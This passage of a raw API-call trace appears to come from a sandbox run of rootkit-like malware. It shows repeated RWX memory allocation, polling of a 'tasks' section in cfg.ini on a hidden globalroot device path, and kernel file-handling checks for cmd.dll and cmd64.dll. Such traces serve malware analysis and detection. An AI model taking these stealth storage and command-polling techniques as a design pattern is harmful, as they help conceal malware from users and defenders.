(FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.025] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.025] KeLeaveCriticalRegion () [0118.025] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.025] KeEnterCriticalRegion () [0118.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.025] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.025] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa64b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.025] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.025] KeLeaveCriticalRegion () [0118.025] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.025] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.025] KeEnterCriticalRegion () [0118.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.025] ExFreePoolWithTag (P=0xfffffa8003aa6170, Tag=0x0) [0118.025] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.025] KeLeaveCriticalRegion () [0118.025] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.025] ReleaseMutex (hMutex=0xf0) returned 1 [0118.025] Sleep (dwMilliseconds=0x927c0) [0118.034] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.034] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.043] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.043] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.043] KeEnterCriticalRegion () [0118.043] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.043] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.043] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.043] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.043] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.043] IdePortDispatch () returned 0x103 [0118.043] KeWaitForMutexObject () returned 0x0 [0118.043] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.043] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.043] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.043] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.043] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.043] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b28390 [0118.043] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.043] KeLeaveCriticalRegion () [0118.043] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.043] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.043] KeEnterCriticalRegion () [0118.043] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.044] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.044] KeLeaveCriticalRegion () [0118.044] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.044] KeEnterCriticalRegion () [0118.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.044] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.044] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.044] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.044] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.044] IdePortDispatch () returned 0x103 [0118.044] KeWaitForMutexObject () returned 0x0 [0118.044] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.044] KeLeaveCriticalRegion () [0118.044] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.044] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.044] KeEnterCriticalRegion () [0118.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.044] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfa000 [0118.044] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.044] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.044] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.044] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.044] IdePortDispatch () returned 0x103 [0118.045] KeWaitForMutexObject () returned 0x0 [0118.045] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.045] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.045] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.045] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.045] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.045] IdePortDispatch () returned 0x103 [0118.045] KeWaitForMutexObject () returned 0x0 [0118.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.045] KeLeaveCriticalRegion () [0118.045] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.046] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.046] KeEnterCriticalRegion () [0118.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.046] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.046] KeLeaveCriticalRegion () [0118.046] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.046] KeEnterCriticalRegion () [0118.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.046] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.046] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d1630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.046] KeLeaveCriticalRegion () [0118.046] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.046] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.046] KeEnterCriticalRegion () [0118.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.046] ExFreePoolWithTag (P=0xfffffa8003b28390, Tag=0x0) [0118.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.046] KeLeaveCriticalRegion () [0118.046] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.046] ReleaseMutex (hMutex=0xf0) returned 1 [0118.046] Sleep (dwMilliseconds=0x927c0) [0118.057] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.057] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.057] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.057] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.058] KeEnterCriticalRegion () [0118.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.058] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.058] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.058] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.058] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.058] IdePortDispatch () returned 0x103 [0118.058] KeWaitForMutexObject () returned 0x0 [0118.058] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.058] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.058] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.058] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.058] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.058] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003af85d0 [0118.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.058] KeLeaveCriticalRegion () [0118.058] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.058] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.058] KeEnterCriticalRegion () [0118.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.058] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.058] KeLeaveCriticalRegion () [0118.058] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.058] KeEnterCriticalRegion () [0118.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.058] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.058] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.058] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.059] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.059] IdePortDispatch () returned 0x103 [0118.059] KeWaitForMutexObject () returned 0x0 [0118.059] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.059] KeLeaveCriticalRegion () [0118.059] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.059] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.059] KeEnterCriticalRegion () [0118.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.059] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfd000 [0118.059] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.059] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.059] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.059] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.059] IdePortDispatch () returned 0x103 [0118.059] KeWaitForMutexObject () returned 0x0 [0118.060] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.060] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.060] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.060] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.060] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.060] IdePortDispatch () returned 0x103 [0118.060] KeWaitForMutexObject () returned 0x0 [0118.060] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.060] KeLeaveCriticalRegion () [0118.060] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.061] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.061] KeEnterCriticalRegion () [0118.061] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.061] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.061] KeLeaveCriticalRegion () [0118.061] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.061] KeEnterCriticalRegion () [0118.061] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.061] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.061] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d1490, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.061] KeLeaveCriticalRegion () [0118.061] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.061] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.061] KeEnterCriticalRegion () [0118.061] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.061] ExFreePoolWithTag (P=0xfffffa8003af85d0, Tag=0x0) [0118.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.061] KeLeaveCriticalRegion () [0118.061] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.061] ReleaseMutex (hMutex=0xf0) returned 1 [0118.061] Sleep (dwMilliseconds=0x927c0) [0118.079] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.080] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.080] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.080] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.080] KeEnterCriticalRegion () [0118.080] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.080] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.080] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.080] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.080] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.080] IdePortDispatch () returned 0x103 [0118.080] KeWaitForMutexObject () returned 0x0 [0118.080] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.080] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.080] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.080] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.080] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.080] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6120 [0118.080] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.080] KeLeaveCriticalRegion () [0118.080] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.080] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.080] KeEnterCriticalRegion () [0118.080] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.080] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.080] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.080] KeLeaveCriticalRegion () [0118.081] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.081] KeEnterCriticalRegion () [0118.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.081] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.081] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.081] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.081] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.081] IdePortDispatch () returned 0x103 [0118.081] KeWaitForMutexObject () returned 0x0 [0118.081] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.081] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.081] KeLeaveCriticalRegion () [0118.081] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.081] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.081] KeEnterCriticalRegion () [0118.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.081] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c66000 [0118.081] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.081] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.081] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.081] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.081] IdePortDispatch () returned 0x103 [0118.082] KeWaitForMutexObject () returned 0x0 [0118.082] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.082] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.082] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.082] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.082] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.082] IdePortDispatch () returned 0x103 [0118.082] KeWaitForMutexObject () returned 0x0 [0118.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.082] KeLeaveCriticalRegion () [0118.082] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.083] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.083] KeEnterCriticalRegion () [0118.083] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.083] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.083] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.083] KeLeaveCriticalRegion () [0118.083] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.083] KeEnterCriticalRegion () [0118.083] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.083] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.083] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.083] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.083] KeLeaveCriticalRegion () [0118.083] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.083] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.083] KeEnterCriticalRegion () [0118.083] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.083] ExFreePoolWithTag (P=0xfffffa8003aa6120, Tag=0x0) [0118.083] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.083] KeLeaveCriticalRegion () [0118.083] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.083] ReleaseMutex (hMutex=0xf0) returned 1 [0118.083] Sleep (dwMilliseconds=0x927c0) [0118.102] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.102] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.102] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.102] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.102] 